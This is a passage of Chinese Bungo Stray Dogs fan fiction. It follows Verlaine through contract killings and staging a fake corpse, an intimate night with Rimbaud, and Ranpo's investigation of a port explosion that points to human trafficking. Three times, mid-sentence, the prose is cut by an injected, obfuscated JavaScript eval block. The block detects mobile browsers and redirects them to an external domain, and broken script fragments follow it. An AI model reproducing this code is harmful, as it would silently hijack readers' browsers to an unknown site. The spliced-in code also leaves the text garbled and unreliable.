因此,安抚好芥川银,处理着芥川龙之介伤势的同时,地下医师大脑一刻不停地构思着今晚的计划。 等人造神明带着前搭档和妹妹回到酒店,手机上已然传来森鸥外编辑好的信息,用简短的话语将刺杀人选、重伤人选,杀人时需要注意的伤口方式等事项内容都列得一清二楚,还顺便问了一下兰波想要给自己的假身份选一个怎样的死亡方式。 “脸部先做伪装,然后划花或砸烂。” 兰波正在帮中原中也换下对于十岁小孩来说有点难脱的绑带连衣裙,听到魏尔伦的提问,思索着提出要求, “整体做成反击后被杀死泄愤的状态吧,除了脸部以外,四肢也尽量扭曲一些。” 魏尔伦的手指僵硬一瞬,又立刻恢复正常,他安静地将这些要求输入到短信中,状似无事地开口询问, “还有吗?” “嗯……” 橘发女孩换好了家居服,飞速跑去洗手洗脸,兰波站起身,放轻声音, “没有了——PortMafia中有个对人物外表记忆能力好到近乎超能力的成员。” 她走到魏尔伦身边,俯身压下手机,凝视那双漂亮到锋利的蓝眸, “如果不把尸体毁坏得足够彻底,很容易被发现问题。” 那张清隽秀丽的脸上,浮现出柔和的神色, “只是一具假尸体,为了确保我能更没有后顾之忧地跟你离开而已。” “……嗯。” 魏尔伦脸上不甚明显的寒霜消融下去,唇角不自觉勾起细小的弧度,他随即抿着唇移开视线,回忆着普通人在这种时候应该说些什么,思考片刻后,语调优雅地叮嘱, “我今晚会尽快回来的,你和中也不用等我,早点休息。” “好。” 兰波眨眨眼睛,乖巧答应。 ———————————————————— 除了昨天以外,今天森鸥外请求帮忙的这件事,其实算是魏尔伦这两年多以来第二次杀人。 原因其实也很简单,一来,他本就不是什么喜欢滥杀的人,大多数情况下都是为了达成某个目的才会动手;二来,自擂钵街爆炸后,他拖着受伤的躯体狼狈逃离横滨,就一直在迷茫地思考——思考接下来到底该做什么。 那时候魏尔伦以为兰波死了,弟弟也死了,铁塔成为不可能再回去,也根本不想再回去的地方,他明明失去了所有,却又仿佛得到了梦寐以求的自由。 ——然后呢? 他还能做些什么呢? 魏尔伦不清楚,像他这样基于某种猜想,为了某人的伟梦而创造出的杀戮机器,该做些什么来填充空白的余生。 这种迷茫其实并不新鲜,被兰波救下之后,对人类世界的一切都尚且懵懂的“黑之十二号”也有过相似的时期。 但那时候有兰波在。 兰波给了他属于人类的名字,兰波教导他,培养他拥有顶尖谍报员该有的素养,兰波带领他完成一项又一项任务……即使仍然不知晓生命的意义,但兰波会告诉他,会肯定他,会许下战后的承诺,会坚定不移地带着他前行。 “黑之十二号”变成“保罗·魏尔伦”,逐渐从一个人造的杀戮机器变成一个有些孤独,有些迷茫的谍报员,一切似乎都在往好的方向发展。 然而兰波死了。 于是魏尔伦又掉入全然黑暗的空洞。 漫无目的地流浪了将近两年之后,他才下定决心,在未来的生活中以“刺杀”为目标——既然他的诞生是为了杀戮,那他不如就将这份杀戮带给那些制定了杀戮规则的人。 魏尔伦策划暗杀的第一个人是曾经任务中想要杀死,却被兰波以“杀死他只会激化战争矛盾”的理由制止的人,某个小国血统纯正的王室后裔。 那场刺杀很完美,人造神明稍作伪装,就混进了号称“守卫森严”的城堡,在众目睽睽之下,将那位勉强称得上是“王子殿下”的人切割成整齐的305块。 鲜红的液体像是被顽皮孩童踩住出水口的喷泉,平行着喷涌,无人在意慌乱人群中悄然离开现场的他。 只有一点很令魏尔伦懊恼——没人知道这件事是他做的。 即使那个小国的王室到英国求助,但时间已经过去好几天,王室不可能放任尸体就那样陈列,现场只余下已经发暗的血迹,前来调查的钟塔侍从也只能根据已有证据做出大致推断。 最终,那场刺杀被认为是某个异能力为“切割”或“风”的异能力者所为,至于原因,则被认定是情杀——毕竟那位“王子殿下”以花心滥情闻名。 在这件事情之后,魏尔伦迟迟没有选定下一个动手的对象,而是开始思索,如何让所有人意识到暗杀者的真正身份——他想要留下自己的名号,让所有人都知道“保罗·魏尔伦”的名字,知道这个来自法兰西特殊战力总局,曾与另一名异能力者“阿蒂尔·兰波”并肩作战,又背叛对方的人。 直接报上名字有些愚蠢,总要留下些什么作为象征*,他想到了兰波的壁炉中常见的木材,选择了两种木材中颜色更浅一些的桦木。 不过还没等他想到最为完美的放置方式,就突然被拉入那个纯白空间,聆听到大言不惭、令人作呕的发言。接下来所发生的一切事情,也都如同脱轨的列车,令他措手不及。 当然,尽管如此,魏尔伦的手艺也并未生疏,他对着森鸥外礼貌地微笑致意后,拎起装着假尸体的袋子,迅速抵达第一个目标的家,按照森鸥外所要求的方法将人处理完毕后,又马不停蹄地赶往需求重伤的目标家中。 杀人是旧活计,只重伤而不杀死却是比较新鲜的工作。以往执行任务时,这个活儿通常由兰波自己完成,魏尔伦大多数情况下要么只是负责弄晕,要么就是负责无痕处理。 再加上森鸥外没有提出重伤这位该怎么个重伤法,是以人造神明飞在窗外思索片刻,最终干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894278|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆利落地用重力拧断了屋内人的脖子——只断了骨头,没有伤及血管和神经。 沉闷的倒地声传来,窗户也被重力轻巧打开,魏尔伦蹲在窗台上,将手中的包裹扔进屋内,伪造的尸体从包裹中滚落,他原本并不想看,却还是忍不住瞥了一眼。 …… 魏尔伦逃一样地离开现场。 ———————————————————— 兰波在哄中原中也。 说实话,这件事她不太擅长。 “芥川他们真的会好好的吗?” 橘发女孩还是有些担忧, “那个地下医生一看就不像什么好人。” “虽然他不是好人,但我们更加强大。” 兰波轻声解释, “只要他还希望得到我们的合作机会,就不会对芥川兄妹不好。” 哪怕在三人中,只有中原中也是真的关心芥川兄妹,森鸥外也不可能糊弄了事。 “强大?” 中原中也似懂非懂, “就像我在‘羊’里的时候,那些大人不仅不敢来抢房子,还会偶尔给我们送东西一样吗?” “对。” 兰波点头, “中也拥有强大的力量,他们既然渴望这份力量,就不会主动做出伤害你或者背叛你的事情——除非他们认为这对你来说不重要,或者根本就不需要你的力量。” “哦……” 中原中也钴蓝色的眼睛亮晶晶地闪耀, “那我要努力变强,变成很重的人,这样别人也都不敢欺负哥哥和兰波姐姐了。” “……好。” 兰波原本古井无波的脸上泛起一丝笑意,她没去纠正橘发女孩的口误,而是温和地回应, “那我就等着中也长大,成为比保罗更厉害的大人,这样别人为了不得罪中也,就会把我和保罗都供起来。” “嗯嗯!” 又简单说了几句,橘发女孩的声音越来越小,最终沉沉睡去,兰波把灯关上,只留下床头暖黄的光,然后靠在床头,轻轻拍着身侧女孩的背,夜深了,那动作也越来越慢,不知过了多久,终于彻底停下。 看到那双灯光下熠熠生辉的碧绿色宝石被苍白单薄、近乎透明的眼皮遮盖,魏尔伦从一片漆黑的角落中现身。 他回来很久了,只是一直都站在那里,未曾出声。 视线不露痕迹地在兰波身上停留了将近一个小时,直到现在也未曾离开,魏尔伦悄无声息地走到床边,轻轻掀开被子,将黑发女性瘦削的身体抱起又放平。 “兰波……” 呼唤名字的声音像肥皂泡破裂一般轻小,人造神明终于移开视线,平躺在被子之外,将兰波拥进怀里,可这样的姿势似乎并不舒适,他翻来覆去地调整了好几次,最终将头抵在兰波的胸膛,才安心地躺好。 咚、咚、咚、咚、咚…… 属于兰波的心跳声沉闷又稳定的传来,带着睡梦应有的缓慢,魏尔伦安静地闭上眼睛,进入无梦的梦乡。 12.不要沉迷美色 兰波是在有点难受的轻微窒息感中醒来的,她茫然地睁开眼睛,下意识先瞥了眼床头柜上的钟,荧绿的光芒拼凑出04:13的字样,她又看了看窗外,凌晨时分的横滨,除了月色就只剩下寥寥无几的灯光。 确定完时间,兰波眉头轻蹙,垂眸向下看去,这才发现窒息感的来源——不知何时回来的魏尔伦正紧紧搂着她,整张脸都埋在她胸膛上,呼吸平稳,睡得很香。 胸口处有些滚烫的呼气和实在过分紧箍的力道,令兰波无语地挣扎一下,但没有挣扎动,反而刺激得魏尔伦又将怀抱收得更紧了一些。 “……” 好难受。 兰波努力地抬起手,轻轻拍了拍魏尔伦的后背, “保罗?” 她放低声音,以免吵醒身后还在呼呼大睡的中原中也, “放开我,有点勒。” 魏尔伦睁开眼,湛蓝的眸子中闪过一丝迷茫, “兰波?” “……嗯,松手。” 兰波有点无奈,又重复一遍要求, “我快喘不过气了。” 听到这句话,人造神明才发现自己的问题,他触电般迅速松开,连身体都向后退了一些,灿金色的睫毛无规律地眨动,带出有些慌乱的话语, “抱歉,兰波。” 魏尔伦又往后退了点,嗓音含着迟钝的歉意, “我没有注意,真的很抱歉。” “保罗该道歉的,不只是这件事吧?” “!?” 魏尔伦僵在原地——难道、难道兰波已经想起来了?他原本颜色适宜的唇瓣瞬间褪去血色, “我——” “——既然回来了,为什么不跟我说一声?” 兰波面无表情地看着魏尔伦,仿佛没有注意到他的表情,继续一点点数落他的“罪状”, “而且,做完事情回来要睡觉,为什么不洗个澡换好睡衣?还睡在被子外面?” 伴随着一个个问句,黑发女性的眉眼柔和下来, “离出发时间还有很久,快去冲个澡,再安心休息会儿。” 魏尔伦呆呆地眨了眨眼,这样熟悉而陌生的话语,让他仿佛又变回那个连人类的日常生活都不太理解,每做一件事情都要十五岁的兰波亲手教育的小人造人,他的唇角抽动几下,最终变成一个清浅的微笑, “嗯。” 冲个澡的速度很快,不过一会儿,浴室的灯光就熄灭了,人造神明带着有些微凉的水汽回到床边,兰波打了个小小的哈欠,掀开身侧的被子,无声邀请魏尔伦与她同眠。魏尔伦当然没有拒绝,他钻进被窝中,又循着先前的方式,放轻些力道,将兰波搂进怀里, “兰波。” “怎么了?” “你……” 魏尔伦的话顿了顿,他有些不知道该不该问,但话已经到了嘴边,顺着柔和的月色溜出去, “你有什么想问我的吗?” “?” 兰波在他怀里转了个身,面对魏尔伦仰起脸, “问什么?” 这漂亮笨蛋难道现在就打算将她的过去全都告诉她? 魏尔伦当然没有这么想,因为他不敢,就连方才的问句,在出口后的瞬间都已经令他十分后悔——如果兰波询问到他的背叛,他该不该回答?该怎样回答? 但开弓没有回头箭,他压住心中的苦涩与愧疚,移开视线,不去直视那双碧绿的宝石, “就是关于、关于你和我的事情。” 只要不涉及最后的那场爆炸,他都会如实相告的。 说出这句话似乎耗费太多勇气,魏尔伦抿着嘴,没再继续说下去。 “保罗希望我问什么?” 说不在意自己的过去是假的,否则三天以来,兰波也不会默默从魏尔伦的言行中寻找蛛丝马迹,可是能够得到的信息着实杂乱,再加上身体的因素——一旦想要努力思索,头又会痛得几欲裂开,是以兰波只能暂且放下追究。 反正兰波相信自己的判断,不论过去如何,现在的魏尔伦在她面前,只是一只看起来就可怜极了,也可爱极了的流浪猫,根本没有攻击性。 魏尔伦不清楚兰波的想法,但他清楚兰波一定猜到了很多。 阿蒂尔·兰波是法兰西特殊战力总局最年轻最天才的超越者,也是最严谨最高效的谍报员,哪怕失去记忆,异能力也丧失大半,但那些刻在骨子里的能力是不会消失的。 就像对他忽然改口叫“兰波”这件事接受良好,完全没有做任何询问一样——魏尔伦撇撇嘴,不敢去想兰波到底猜到了多少,刚刚鼓足的勇气逐渐消散,声音也微弱了一些, “没有什么。” 人造神明又缩回自己打造的水晶城堡中, “睡吧,兰波。” “……” 兰波被他突如其来的怯懦气笑了, “我确实想问你一些事。” 她抬起手,钳住魏尔伦的下巴打算质问,可看着那张没有表情,努力维持平静的漂亮脸蛋,还是默默地换了个问题, “保罗会欺骗我、伤害我吗?” “不会。” 魏尔伦的回答迅速而斩钉截铁,只是回答之后,又开始莫名地心虚,想要说些什么补充一下,兰波没给他这个机会, “保罗和失忆以前的我认识对吗?” “……嗯。” 听到情理之中又意料之外的肯定回答,黑发女性眨眨眼,彻底放松下来, “那就没事了。” 她看着魏尔伦仍在躲闪的漂亮蓝眸,语气柔和地安抚, “等保罗想说的时候再告诉我就行。” 当然,就算魏尔伦不说,她也有的是办法套消息,只不过这句话就没必要让魏尔伦听到了。 魏尔伦愣了愣,有些不敢置信, “等……我?” “对呀——反正我们未来还有那么长的时间。” 兰波的语气十分理所当然,理所当然到魏尔伦的心脏都猛地震颤了一下,他喃喃地重复兰波的话, “我们未来、还有那么长的时间。” 他和兰波的未来。 他和兰波,带着妹妹一起全球旅行的未来。 魏尔伦喜欢这样认真听他说话,又温和回应他的兰波,也喜欢“未来”这个词,连带着唇角都不自觉勾起喜悦的弧度,金发的人造神明似乎完全不懂自己的脸多么富有杀伤力,他专注地看着兰波,侧脸被冷色的光勾勒出完美的轮廓,声音诚挚而认真, “我会尽快告诉你的。” 他不会逃避应有的审判,只是希望那一天能来得晚一些,让他能多偷来一些美好的幻梦,在余生慢慢回味。 但听他说完这句话后,兰波的表情有点奇怪,像是开心,又像是忍耐,魏尔伦眨眨眼,还没问出疑惑,兰波就已经轻轻吻了上来。 !? 唇上微凉的触感柔和地蹭了两下,带着痒到心底的酥麻,魏尔伦怔愣一下,大脑还未转过弯来,手却已然下意识按住兰波的后颈,摩挲着墨色卷发的发根,反客为主地加深了原本只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909647|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻触的吻。 人造神明没心思去想万一兰波以后恢复记忆会怎么揍他,只是吮吸着那片颜色浅淡的唇,含在口中轻轻啃咬,察觉到兰波有些吃痛的挣扎后,又青涩地勾起另一条嫩软的红舌,吮吸甘甜的蜜露。 不知过了多久,察觉到怀中人无力的推拒,魏尔伦才依依不舍地松开那双唇,又抬起手,抹去兰波唇边被他的双唇牵扯出的银丝。 从接吻经验的角度来说,两人可以说差得势均力敌,但从身体素质上看,兰波输得很彻底——黑发女性在心里谴责自己的心软和莽撞,看着金发青年的眼神却还是像春雨般柔和, “睡吧,保罗。” 她又看了眼床头的钟,不知不觉间,十位的数字已经蹦到了5, “再不睡,等会儿中也就要醒了。” 然而魏尔伦现在一点都不想睡,他脸颊上还泛着红意,尴尬地向后退了退, “我……我再去洗个澡。” “……” 在主动坐起身来,牵着魏尔伦的手跟他一起走进浴室的时候,兰波还是没忍住又在心里骂了自己一句。 真是色令智昏。 ———————————————————— 中原中也睡得很香,直到8点,才被早餐的香气唤醒,橘发女孩伸了个懒腰,惊讶地发现兰波居然还在睡觉, “兰波姐姐?” “她累了。” 魏尔伦轻咳一声,努力在妹妹面前保持优雅的微笑, “先去洗漱吧,中也。” “哦……” 中原中也乖巧地给兰波掖好被角,又像发现新大陆一样快步走到魏尔伦身边,扯了扯魏尔伦的衣角, “哥哥,兰波姐姐好像被虫子咬了。” 她思索着擂钵街里会有的虫类,有些忧心忡忡, “‘羊’之前有个孩子就是被虫子咬了之后没过多久,发了很高的烧,等下兰波姐姐醒了之后,给她检查一下身体吧。” “……” 魏尔伦的眼神游移了一下,唇角的微笑几乎要坚持不住, “好的,等兰波醒了之后我会告诉她的。” 他思考片刻,回忆起兰波曾经对待他的方式,抬起手,轻轻抚摸中原中也柔软的发顶, “中也很细心——现在去洗漱,然后吃饭吧。” “嗯嗯!” 橘发女孩听话地离开。 等兰波也醒来时,距离登上游轮的时间只剩四十分钟,把所有衣服都塞进一个大箱子里,检查了一遍房间内的东西后,三人乘上酒店的车。 但等三人到达港口,却没有看到游轮的影子,一旁有同样外国人模样的游客看到他们,满脸生气又不失热情地解释。 “……路线上出现爆炸?” 魏尔伦挑眉, “所以?” “排查原因及路线后才会过来,延期时间在1-3天内。” 兰波拿着魏尔伦的手机搜索新闻,果然看到了海面莫名爆炸的消息,她也有点无奈, “先回去吧。” 等待的游客们已经缓缓散去,不远处的警卫处却忽然骚动起来,魏尔伦和兰波都不太感兴趣,一味地向前走着,中原中也好奇地扭了几次头,被警卫包围的男孩终于和她对上视线,那双荧绿的眼睛闪烁一下,瞬间拔高声音, “中原中也!” 他毫不客气地命令, “来给我做证,我就是异能力者!” “……?” 中原中也茫然地停下脚步。 13.大侦探登场 中原中也原本很确信自己不认识这个黑发的男孩,但对方喊她名字的语气又太过笃定——难道她真的曾和对方认识,但忘了对方?还是说对方是她失忆之前认识的人? 橘发女孩仰起头,迟疑地看向兄长, “哥哥,我们认识他吗?” “不认识。” 魏尔伦伸出手,整理了一下妹妹头上被海风吹乱的发丝,声音听起来柔和极了, “可能是擂钵街里认识你的无名小卒,我们走吧。” “可是……” 中原中也还是有点犹豫,兰波冷冷地瞥了远处一眼,视线移回中原中也身上时,温度升高一些, “你没有责任去帮助随便一个认识你的人,更何况他看起来并不需要帮助。” 她握紧中原中也的手,引导橘发女孩看过去,那个黑发的男孩正鼓着脸颊,还在和那些警卫争吵些什么,看起来确实不像落于下风的样子,中原中也稍稍放下心来,轻轻“嗯”了一声,又打算继续往前走。 可惜,没能成功——黑发男孩的观察力显然相当不错,一眼就看到了中原中也的行动,有些气鼓鼓地再次拔高声音, “芥川兄妹在我家里哦!你确定不来帮我证明吗!?” “!!!” 中原中也的脑子飞速转动——是了,森医生说会把芥川兄妹送到一个更适合两人成长的地方,这个黑发男孩看起来天真到甚至有些跋扈的样子,平时所处的环境必然是比擂钵街好上一万倍的…… 她拽了拽兰波,轻声做出决定, “我去看看他怎么回事。” 兰波还没说话,魏尔伦已经轻轻蹙起眉头, “没有必要,就算你不去,他们也不可能把人再扔出去。” “可是既然已经答应了要帮助芥川他们,像这样应该并不麻烦的事情,多帮一下也是可以的吧?” 橘发女孩反驳兄长的意见, “而且,他只需要我帮他证明一下而已。” “……” 魏尔伦的眉头皱得更紧了一些,兰波眨眨眼睛,瞥了眼他的神色,随即松开牵着中原中也的手, “去吧。” 看着中原中也一路小跑过去的背影,她侧过身子,温声说道, “中也已经10岁了,她是一个独立的人,不是你的附属物,你应当尊重她的选择,不要总想把自己的想法强加在她身上——再说了,有些事情,她总要经历过才会知道正确的选择是什么。” 虽然是在劝诫,但兰波的语气很轻柔,听起来并不强硬,她以为魏尔伦就算不会立刻做出改变,至少也能听进去一点。 然而,魏尔伦听到这番话后,脸色却变得更差了些,他看向兰波,湛蓝的眼眸里带着相当奇怪的神色,沉默很久之后,才沉闷地“嗯”了一声, “……我知道了。” 金发青年没再说话,只是拉着兰波的手,静静等待中原中也回来。 ———————————————————— 江户川乱步现在很烦。 昨天那个黑心医生把养两个小孩这种累活儿扔给社长干,社长居然只是问了几句就同意了,半点没有反驳,他因为这个跟社长闹脾气,今早听到港口附近海面莫名爆炸的事情后也没跟社长商量,就独自一人跑了过来,结果因为缺少证件而被拦下——他气鼓鼓地瞪着面前的警卫,余光瞥见正在跑过来的橘发女孩,才又稍微放松一点, “我说了我是武装侦探社的大侦探,我们是有异能经营许可证的正规会社。” 他拽住刚跑到的中原中也,有些急切地催促, “中原中也,那个黑心大叔说你有异能力的,你快放个异能力给他们看嘛!” “……啊?” 中原中也想说的话被堵了回去,她瞅了眼带头的警卫,对方看他们的眼神完全是在看无理取闹的小孩——话又说回来,旁边这家伙确实像个无理取闹的小孩。 她回忆着魏尔伦和兰波的样子,对警卫露出一个礼貌的微笑, “抱歉警卫先生,我先跟他沟通一下。” 说着,就把黑发男孩拉到了一旁,表情也变得严肃起来, “喂,你说什么黑心大叔,是森医生告诉你我的名字的?我听到你说什么武装侦探社,你们要……要……额……” “我们才不会雇用童工哦!那两个小孩都还在养伤,社长只是帮黑心医生照顾他们而已呢!” 江户川乱步撇撇嘴, “还有,我不叫喂,我叫江户川乱步,乱步大人可是非常非常非常厉害的大侦探!” “……” 中原中也狐疑地看看他, “大侦探来这里跟警卫吵架做什么?” “哈!?” 江户川乱步急了, “我没有跟警卫吵架!是他们为难我!” 小小地发了个脾气之后,他又瘪着嘴,耐住性子解释, “今天早上有商会的货船因为海面爆炸而被迫停运,所以委托我们前来调查爆炸事故的缘由,我才会过来的。” 中原中也听明白了,但是不理解, “那社长为什么不过来?” “社长他、他今天有事,所以我才一个人来的。” 江户川乱步的眼神飘忽了一下。 “……” 中原中也又认真地打量了一下面前的男孩——或许称呼他少男更合适,大概十三四岁的样子,黑色的头发胡乱翘起,眼睛大大的,眼尾上挑,配上他的表情,看起来像只绿眼睛小猫。 嗯……不过她还是更喜欢兰波姐姐眼睛的颜色,是更加深邃的绿,带着星星点点的金,看着兄长和她的时候像春天阳光下的湖面——她没见过湖,只是这样觉得。 “?” 江户川乱步警惕地歪歪头, “我和你的那个黑头发外国人姐姐没有任何关系哦。总之,你帮我证明身份就可以了。” “可我也只是个小孩,就算用了异能,他们也不会相信你的身份的。” “只要能证明你是异能力者就行。” “……好吧。” 中原中也转过身,思索一下,轻轻踩了踩地面,红色的暗芒流转中,坚硬的水泥地面碎裂成细小的渣滓, “我认识他,他确实是武装侦探社的侦探,也是一名异能力者。” 橘发女孩说完想了想,又多补充一句, “他只是进去调查一下情况,如果真的有什么不妥的地方,你们也可以再跟会社的电话联系沟通,他的社长会跟你们说明情况。” “!” 不能告诉社长他自己跑来调查! 江户川乱步没来得及阻止她说话,此刻瞪大眼睛想要生气,但中原中也确实是为了帮他才会这么说,社长说过这种情况下不能随便对别人说不好听的话。 黑发男孩气鼓鼓地憋着,满脸都写着不高兴,可也只能一声不吭地观察警卫表情,希望这群人能放他进去。 中原中也的“异能力展示”着实吓了警卫们一跳,几人面面相觑,为首的那个舔舔嘴,态度明显没有刚才那样僵硬, “就算我们相信他的身份,他没带证件来,我们就让他看监控的话,被查到了我们也是要遭殃的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930371|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “证件很快就到。” 兰波的声音冷不丁地在一旁响起,黑发的青年女性淡淡看了眼江户川乱步,将手上的手机递给对方,随后又继续跟警卫解释, “社长临时有事才会让他一个人过来,你们可以稍等证件,先让他进去看一下现场——毕竟时间越久,线索就会越少,事情不解决的话,港口的货物和游客造成的压力,你们也不想承受吧?” 为首的警卫犹豫片刻后,点头同意,江户川乱步却半点都不开心了。 “……” 他不想接。 江户川乱步耷拉着脸,终于发现自己情急之下走了步错棋——他就不该喊住中原中也,对方的哥哥和姐姐即使不在意他的事情,也不会任由他这样身份不明的人得到中原中也的帮助,擂钵街出来的孩子能被人认识的机会不多,再加上他还说出了芥川兄妹,想要顺藤摸瓜查出他的身份实在简单。 要被社长批评然后好多天都禁止吃零食和甜品了—— 黑发男孩抓着手机,猛地蹲下身来,整张脸皱成一团,吓得中原中也忙不迭也跟着蹲下身, “你怎么了?” “我的零食……我的甜品……” “……?” “乱步。” 电话那头的沉默变成了叹息,沉稳的声音隔着电波传来, “如果顺利完成委托,就只罚你三天。” “诶——!?” 黑发男孩一下蹦了起来,方才的垂头丧气一扫而空,又重新变回自信张扬的样子,他肆意地笑着,语气坚定, “一言为定哦社长,这种小事,乱步大人一天就能搞定!” ———————————————————— 最后,魏尔伦和兰波还是跟着两个小孩一起进了监控室,没办法,福泽谕吉刚安抚完醒来的芥川龙之介,赶过来需要一段时间,而且快点查清爆炸真相,他们也能快点坐上游轮离开。 有些昏暗的小屋中,十二块屏幕同时播放着爆炸前后各半小时内,整个港口不同区域的录像,魏尔伦坐在一旁的椅子上,从行李箱外层取出两个洋梨,将其中一个塞给看得头晕目眩的中原中也。 兰波看了一会儿后,也被江户川乱步随意拖动进度条的方式弄得眼晕,她干脆后退两步,靠在魏尔伦身旁,然后换了个目标,用余光瞄着正优雅啃梨的魏尔伦——这家伙在酒店的时候也天天吃洋梨,真的这么喜欢吗? 整间屋子安静极了,只有显示器播放的声音和时而响起的清脆点击声,大约十五分钟后,江户川乱步定格了所有画面,站起身来, “哼哼。” 他推推眼镜,骄傲地仰头,展示定格画面中不同时间出现的相同黑影, “乱步大人发现了!” “呜哇——” 中原中也嘴里还含着一口梨,她努力咽下去,随即真情实感地感叹, “好厉害啊乱步,我只能做到看清一两个。” 同时看十二个也太难了。 “乱步大人就是这么厉害。” 黑发男孩最后自得一句,然后轻咳一声收敛神情,荧绿的眸子上映出显示器的白光,他点了点定格的屏幕, “犯人从这里出现,到这里消失,他的消失就是引发爆炸的根源。” “这里?” 魏尔伦挑眉,看向定格时间最靠前的显示器, “这是仓储区吧?” 画面中全是黑压压的巨大集装箱。 “对。” 江户川乱步点点头,语气笃定, “犯人本身就是一个货品。” 14.走走剧情 为了顾全整体,港口的监控安装位置较高,即使以魏尔伦的眼力,也无法看清那道黑影的真实面目, “我只能肯定这是个身材矮小的人类。” 魏尔伦语气平淡地说, “绝对不是猩猩或猴子这些灵长类动物。” 要是别的生物,魏尔伦可能还会稍微谦虚一下加个“大概”或者“不确定”,但人类的构造他可太熟了,回答起来不带一丝磕绊。 “是人类没错。” 江户川乱步撇撇嘴, “但也确实是货物,乱步大人不会开玩笑的。” 他言之凿凿,表情也很正经,中原中也愣了愣神,脸色忽然变得不大好, “乱步,你的意思是……” “嗯嗯,就是你想的那样哦。” 江户川乱步耸耸肩,将那个词轻松说出口, “是人口贩卖。” “……” 当年擂钵街的那场爆炸不仅瞬间炸出巨坑,夺走方圆几里内几乎所有人的生命,爆炸的余波更是宛如一场10级以上的地震,冲击了附近大大小小的居民区,导致楼房坍塌,玻璃碎裂,因此重伤或死亡的人也不在少数。 日本政府第一时间就派出了救援队,然而僧多粥少,又是战争时期,国内物资本就匮乏,救援工作也就一直停滞不前,好不容易等到大半年后异能大战的倏忽结束,日本作为战败方却又需要割地租赁。 于是经过多重考量,横滨这个突逢巨变的城市再一次被推到风口浪尖,最终沦为法英租界*,日本政府因而对救援和安置爆炸受难灾民的事情愈发怠惰——若非如此,擂钵街中也不会有那么多流离失所的孤儿。 “所以,擂钵街中的孩子们是没有人管的,所有人都只能靠自己。” 本来星光熠熠的钴蓝色眸子有些黯淡,中原中也握紧拳头,声音尚带着一丝恨意, “‘羊’曾经有一个孩子就是在出去搜寻物资的时候,被某个小帮派抓走了,我们带着东西上门想要交换他回来时……” 橘发女孩到现在都记得那个中年人丑恶的嘴脸,不光嗤笑着嘲讽他们不自量力,还对他们一行几个孩子露出垂涎三尺的表情,嘟囔说“都抓起来卖掉肯定值不少钱”,要不是她当时已经能很好地使用异能力战斗,后果只怕不堪设想。 越往后说,中原中也的神色越悲伤,兰波看了看魏尔伦,发现这漂亮笨蛋果然还满脸不在意的样子,无奈地叹了口气,拽拽他的衣袖,轻抬下巴,示意他看向中原中也。 魏尔伦有些迷茫地眨眨眼,随后反应过来——按理说身为兄长,这时候应该安慰妹妹——他将手放在中原中也头上,轻缓地揉了揉蓬软的橘色发顶, “已经没事了。” 中原中也仰起脸回给哥哥一个微笑。 “而且他被抓本来就是自——” “——乱步君能查到是哪个集装箱吗?” 兰波深深吸气,挤出一个微笑,打断魏尔伦没说完的话,顺便从行李箱里又摸出一个洋梨塞给他, “保罗,你不是想吃梨吗,快吃。” “?” 我想吃吗? 我不是刚吃完一个吗? 魏尔伦看向兰波,黑发女性的脸上是他许久都没见过的无奈微笑——就像他曾经一言不合把任务目标切成碎片时看到的一样——于是他乖巧地接过那个梨, “谢谢。” “不客气。” 两人之间的氛围一瞬间有些奇怪,江户川乱步并未在意,他推了推眼镜,得意地“哼哼”两声,才开口回答, “当然可以,我已经锁定了最接近的范围,三个集装箱的位置,不过要确定最终答案,还是需要去现场看。” “昨天发生了爆炸,如果人口贩子足够敏锐,必定会想办法转移‘货品’。” 兰波推测道, “我们现在过去,很可能会跟他们撞上。” “兰波姐姐,我们去看看吧。” 中原中也抬起头,语气坚定, “如果撞上了,不是也刚好做我的实战训练吗?” “……” 总觉得中也的目的好像变成了捣毁人口贩卖集团——这孩子的情感系统是不是有点太像人类了? 魏尔伦有些惊讶地啃了口梨。 ———————————————————— 福泽谕吉还没到,相关证件的照片倒是发给了江户川乱步,警卫领队瞄了一眼,十分爽快地带着四人到了目的区域。 “我没有钥匙,只能带你们过来。” 警卫领队舔舔嘴唇,语气紧张, “不过今天一整个上午,都还没人来这里。” 也就是说,兰波把对方想得太聪明了。 魏尔伦看了眼兰波,微笑着对警卫领队道谢, “没关系,我们就看一下现场痕迹,希望能够尽快找到爆炸源头,解除港口封锁。” “好。” 警卫领队点点头,离开前,又转回身看着中原中也叮嘱, “监控一直都在运行,这些集装箱都是在港口托运的重要货品,每一个集装箱都有高额的保险,你们不可以暴力拆解——如果需要打开,还请那位侦探小哥带着搜查令来。” 显然,他不太相信这个看起来年龄最小,目前状态最生气,不久前还刚在他面前表演了个小皮鞋碎大石的异能力者。 